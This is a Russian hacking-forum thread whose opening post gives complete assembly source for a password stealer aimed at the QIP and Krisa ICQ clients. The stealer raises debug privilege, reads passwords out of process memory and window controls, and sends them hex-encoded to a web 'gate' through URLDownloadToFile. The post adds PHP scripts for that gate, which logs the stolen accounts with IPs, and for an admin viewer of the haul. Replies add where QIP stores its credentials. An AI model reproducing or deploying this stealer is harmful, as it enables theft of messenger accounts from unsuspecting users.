Чтение пароля из Qip

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by slesh, 27 May 2008.

  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Прочитав пару статей по этой теме и вот когда то от нечего делать начал писать прогу на асме. Суть такова: Из запущенного экземпляра QIP она выдирает пароли двумя методами.
    Ну и возможность из &RC выдирать пароль. НО протестить нормально не удалось
    1) Из поля ввода пароля - 100% действует если пароль не сохраняется поддерживается до версии 8040.
    2) Из оперативы считывается. поддерживается до версии 8020
    Код конечно сыроватый, но мож кому пригодиться.
    После компиляции выходит в 3 кила. Если выкинуть поддержку &RC то выдит 2,5 кила
    Code:
    format PE GUI on 'DosStub.exe'
    entry _start
    include 'win32ax.inc'
    include 'encoding\win1251.inc'
    section '.code' code readable executable import writeable
    library kernel32,'KERNEL32.DLL',user32,'USER32.DLL', version, 'VERSION.DLL',  UrlMonLib,'URLMON.DLL',advapi32,'ADVAPI32.dll'
    ;---- моя примитивная секция импорта
    include 'apia\kernel32.inc'
    include 'apia\user32.inc'
    include 'apia\advapi32.inc'
    
    import version,GetFileVersionInfoSize,'GetFileVersionInfoSizeA',\
    	       GetFileVersionInfo,'GetFileVersionInfoA',\
    	       VerQueryValue,'VerQueryValueA'
    import UrlMonLib,URLDownloadToFile,'URLDownloadToFileA'
    ;---- моя примитивная секция данных
     table db '0123456789ABCDEF'
     SeDebugPrivilege db 'SeDebugPrivilege',0
     slash db '\',0
     dvoetochie db ':',0
     tzap db '[-]',0
     TGroupBox db 'TGroupBox',0
     TComboBox db 'TComboBox',0
     TManForm db 'TManForm',0
     TMainForm db 'TMainForm',0
     TmainFrm db 'TmainFrm',0
     TEdit db 'TEdit',0
     TprefFrm db 'TprefFrm',0
     TPanel db 'TPanel',0
     TconnectionFr db 'TconnectionFr',0
     url_start db 'http://127.0.0.1/stat.php?data='
     url_end db 0
     VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h,08000000h,08000100h,08000200h
     ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch,006972ECh,0069F580h,0069F57Ch
    ;---- моя примитивная секция кода
    proc AddToBuf,add_buf
     invoke lstrcat,[buffer],[add_buf]
     ret
    endp
    
    proc GetFileVer,PID
     invoke CreateToolhelp32Snapshot,0000000Fh, [PID]
     test eax,eax
     jz GetFileVer_exit
     mov [Handle],eax
     mov ebx,[MODULEENTRY32]
     mov dword [ebx],548
     invoke Module32First,eax,ebx
     test eax,eax
     jz GetFileVer_exit
     invoke CloseHandle,[Handle]
     add ebx,288
     invoke GetFileVersionInfoSize,ebx, Handle
     test eax,eax
     jz GetFileVer_exit
     mov [Size],eax
     invoke HeapAlloc,[myheap],0,eax
     mov [RezBuffer],eax
     invoke GetFileVersionInfo,ebx,Handle, [Size], eax
     test eax,eax
     jz GetFileVer_exit
     invoke VerQueryValue,[RezBuffer], slash, FixedFileInfoBuf, Size
     test eax,eax
     jz GetFileVer_exit
     mov ebx,[FixedFileInfoBuf]
     mov eax,[ebx+8]
     shr eax,16
     mov byte [Size+3],al
     mov eax,[ebx+8]
     mov byte [Size+2],al
     mov eax,[ebx+12]
     shr eax,16
     mov byte [Size+1],al
     mov eax,[ebx+12]
     mov byte [Size],al
     mov eax,[Size]
    GetFileVer_exit:
     ret
    endp
    
    proc ReadData PID,ADR
     invoke OpenProcess,0410h, 0, [PID]
     test eax,eax
     jz ReadData_exit
     mov [hp],eax
     invoke ReadProcessMemory,eax, [ADR], Size, 4, [t]
     invoke ReadProcessMemory,[hp], [Size], buf, 10, [t]
     invoke CloseHandle,[hp]
    ReadData_exit:
     ret
    endp
    
    proc GetPas,PID
     stdcall GetFileVer,[PID]
     xor ecx,ecx
     dec ecx
    GetPas_m1:
     inc ecx
     cmp ecx,8
     je GetPas_exit
     cmp eax,[VER_MAS+ecx*4]
     jne GetPas_m1
     stdcall ReadData,[PID],[ADR_MAS+ecx*4]
    GetPas_exit:
     ret
    endp
    
    
    proc QIP_MEM
     invoke FindWindow,TMainForm,0
    QIP_MEM_next:
     test eax,eax
     mov [h],eax
     jz QIP_MEM_exit
     invoke GetWindowText,eax,buf,20
     cmp dword [buf],'[qip'
     jne QIP_MEM_next1
     invoke GetWindowThreadProcessId,[h],PID
     stdcall AddToBuf,buf+8
     stdcall AddToBuf,dvoetochie
     stdcall GetPas,[PID]
     stdcall AddToBuf,buf
     stdcall AddToBuf,tzap
    QIP_MEM_next1:
     invoke GetWindow,[h],2
     jmp QIP_MEM_next
    QIP_MEM_exit:
     ret
    endp
    
    proc QIP_WND_GETPASS,hManForm
     invoke FindWindowEx,[hManForm],0,TGroupBox,0
     test eax,eax
     jz QIP_WND_GETPASS_exit
     push eax
     invoke FindWindowEx,eax,0,TComboBox,0
     test eax,eax
     jz QIP_WND_GETPASS_exit
     invoke SendMessage,eax, WM_GETTEXT, 10, buf
     xor ecx,ecx
    cicle:
     cmp ecx,20
     je nextt
     inc ecx
     cmp byte [buf+ecx],' '
     jne cicle
     mov byte [buf+ecx],0
    nextt:
     stdcall AddToBuf,buf
    ; cmp dword [buf],'NONE'
    ; je QIP_WND_GETPASS_exit
     pop eax
     invoke FindWindowEx,eax,0,TEdit,0
     test eax,eax
     jz QIP_WND_GETPASS_exit
     invoke SendMessage,eax, WM_GETTEXT, 20, buf
     stdcall AddToBuf,dvoetochie
     stdcall AddToBuf,buf
     stdcall AddToBuf,tzap
    QIP_WND_GETPASS_exit:
     ret
    endp
    
    proc QIP_WND
     invoke FindWindow,TManForm,0
    cicle2:
     test eax,eax
     jz QIP_WND_exit
     push eax
     stdcall QIP_WND_GETPASS,eax
     pop eax
     invoke GetWindow,eax,2
     jmp cicle2
    QIP_WND_exit:
     ret
    endp
    
    proc Krisa_WND_GETPASS,hmainFrm
     invoke GetClassName,[hmainFrm],buf,10
     cmp dword [buf],'Tmai'
     jne Krisa_WND_GETPASS_exit
     invoke SendMessage,[hmainFrm], WM_SYSKEYDOWN,80, 20000000h
     invoke SendMessage,[hmainFrm], WM_SYSKEYUP, 80, 20000000h
     invoke FindWindow,TprefFrm,0
     test eax,eax
     jz Krisa_WND_GETPASS_exit
     invoke FindWindowEx,eax,0,TPanel,0
     test eax,eax
     jz Krisa_WND_GETPASS_exit
     invoke FindWindowEx,eax,0,TconnectionFr,0
     test eax,eax
     jz Krisa_WND_GETPASS_exit
     invoke FindWindowEx,eax,0,TEdit,0
     test eax,eax
     jz Krisa_WND_GETPASS_exit
     push eax
     invoke SendMessage,[hmainFrm], WM_GETTEXT, 20, buf
     stdcall AddToBuf,buf
     stdcall AddToBuf,dvoetochie
     pop eax
     invoke SendMessage,eax, WM_GETTEXT, 20, buf
     stdcall AddToBuf,buf
     stdcall AddToBuf,tzap
    Krisa_WND_GETPASS_exit:
     ret
    endp
    
    
    proc Krisa_WND
     invoke FindWindow,TmainFrm,0
    cicle3:
     test eax,eax
     jz Krisa_WND_exit
     push eax
     stdcall Krisa_WND_GETPASS,eax
     pop eax
     invoke GetWindow,eax,2
     jmp cicle3
    Krisa_WND_exit:
     ret
    endp
    
    
    proc SetDBG
     push ebp
     mov ebp,esp
     sub esp,24h
     invoke OpenProcessToken, -1, 28h, esp
     test eax,eax
     jz @F
     lea eax, [esp+8]
     invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax
     test eax,eax
     jz @F
     mov dword [esp+14h],1
     mov eax, [esp+8]
     mov [esp+18h], eax
     mov eax, [esp+0Ch]
     mov [esp+1Ch], eax
     mov dword [esp+20h], 2
     lea eax, [esp+10h]
     push eax
     lea eax, [esp+18h]
     push eax
     push 10h
     lea eax, [esp+20h]
     push eax
     push 0
     mov eax, [esp+14h]
     push eax
     call [AdjustTokenPrivileges]
    @@:
     leave
     ret
    endp
    
    _start:
     stdcall SetDBG
     invoke GetProcessHeap
     mov [myheap],eax
     invoke HeapAlloc,eax,0,1024
     mov [buffer],eax
     mov byte [eax],0
     invoke HeapAlloc,[myheap],0,1024
     mov [MODULEENTRY32],eax
     stdcall QIP_MEM
     stdcall QIP_WND
     stdcall Krisa_WND
     invoke lstrlen,[buffer]
     test eax,eax
     jnz dalee
     invoke ExitProcess,0
    dalee:
     mov [Size],eax
     shl eax,2
     invoke HeapAlloc,[myheap],0,eax
     invoke lstrcpy,eax,url_start
     dec edx
     xor ecx,ecx
    cicle4:
     mov eax,[buffer]
     mov ah,[eax+ecx]
     mov al,ah
     shr ah,4
     and al,0fh
     mov ebx,table
     xlatb
     xchg ah,al
     xlatb
     mov word [edx+ecx*2],ax
     inc ecx
     cmp ecx,[Size]
     jne cicle4
     mov byte [edx+ecx*2],0
     sub edx,url_end-url_start
     invoke URLDownloadToFile,0,edx,TEdit,0,0
     invoke ExitProcess,0
     buf db 21 dup (0)
     myheap dd 0
     buffer dd 0
     Size dd 0
     PID dd 0
     MODULEENTRY32 dd 0
     h dd 0
     hp dd 0
     t dd 0
     Handle dd 0
     RezBuffer dd 0
     FixedFileInfoBuf dd 0
    
    А вот скрипты для работы с ним
    Непосредственно гейт
    Code:
    <?
    $data=$_GET['data'];
    $out='';
    $f=fopen('ICQ.txt','a+');
    while ($x<strlen($data))
    {
    $temp=$data[$x].$data[$x+1];
    $out.=chr(HexDec($temp));
    $x+=2;
    }
    fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n");
    fclose($f);
    ?>
    
    Ну и скрипт для удобного проссмотра
    Code:
    <?
    $admin_user='123456';
    $admin_pass='123456';
    if ($admin_user!=$_SERVER['PHP_AUTH_USER']||$admin_pass!=$_SERVER['PHP_AUTH_PW'])
     {
       Header('WWW-Authenticate: Basic realm="Enter login & password"'); 
       Header('HTTP/1.0 401 Unauthorized');
       echo "Sorry, Access Denied";
       exit;
     }
    
    echo '<html><body bgcolor="black" text="white">';
    $f=file('ICQ.txt');
    for ($x=0;$x<count($f);$x++)
    {
     $z=explode('[-]',$f[$x]);
     for ($y=2;$y<count($z);$y++)
      {
       list($UIN,$PASS)=explode(':',$z[$y],2);
       if ($PASS!='<:HIDDEN:>'&&strpos($PASS,'[qip] - ')===FALSE&&strlen($PASS)>0&&strlen($UIN)>4&&strlen($UIN)<10)
        {
    	 if (!@in_array($UIN.';'.$PASS,$acc[strlen($UIN)])) $acc[strlen($UIN)][]=$UIN.';'.$PASS;
        }
      }
     }
    
    echo '<table><tr valign="top">'; 
    for ($y=0;$y<10;$y++)
     {
      @sort($acc[$y]);
      if (count($acc[$y])>0)
       {
         echo '<td><FIELDSET><LEGEND>[  '.$y.'  ]</LEGEND>';
         for ($x=0;$x<count($acc[$y]);$x++) echo HtmlSpecialChars($acc[$y][$x]).'<br>';
    	 echo '</FIELDSET></td>';
       }
      }
    echo '</tr></table></body></html>';
    ?>
    
     
    7 people like this.
  2. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    ------------------
    Знаешь это ведь на статейку покатит:)
    Оформи красиво, сделай комментарии, и + описание к "программке" ;)
    ------------------
    И вот сюда :)
     
  3. Jailer

    Jailer Elder - Старейшина

    Joined:
    21 Mar 2008
    Messages:
    37
    Likes Received:
    29
    Reputations:
    0
    если у меня пароли отображаются как <:hidden:> он их прочитает?
     
  4. x0man

    x0man Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    33
    Likes Received:
    13
    Reputations:
    0
    Шота мне кажется или это глюки, такая тема уже тут была...
    а на статью катит дизассемблирование квипа и выдирание кода для декрипта пассенга...
     
  5. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    x0man было много вопросов где пароли именно храняться =)
     
  6. 0verbreaK

    0verbreaK Elder - Старейшина

    Joined:
    30 Apr 2008
    Messages:
    318
    Likes Received:
    42
    Reputations:
    -3
    Sn@k3 - эксперементальным путем это выясняется...

    1) Отследить обращение mpr через FileMon
    2) Дизасмить qip и получить путь к файлу (функция GetPrivateProfileString)
    3) Ну и методом тыка поискать/пооткрывать config.cfg и прочие

    Accounts.cfg - аккаунты

    \Program Files\QIP\Users\ПОЛЬЗОВАТЕЛЬ\config.ini

    поля Custom1 и Custom2
     
  7. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    читал что-то похожее в хакере, только там код был на делфи. В общем автору всеравно огромнейший респект.
    2 De-Visible
    на статью, это имхо совсем не тянет.
     
  8. FluffY

    FluffY New Member

    Joined:
    4 Jan 2008
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Не могу паонять как получить указатель на строку пароля?
    Например юзаю билд 8020
    HTML:
        ReadProcessMemory hProcess, &H69F57C, qwe, 4, 0&
        ReadProcessMemory hProcess, qwe, str, 10, 0&
    Иполучаю какуето хрень в указателе почему?
     
  9. *eXe*

    *eXe* Banned

    Joined:
    20 May 2008
    Messages:
    0
    Likes Received:
    184
    Reputations:
    0
    мне это напомнило вот это!!!
    [​IMG]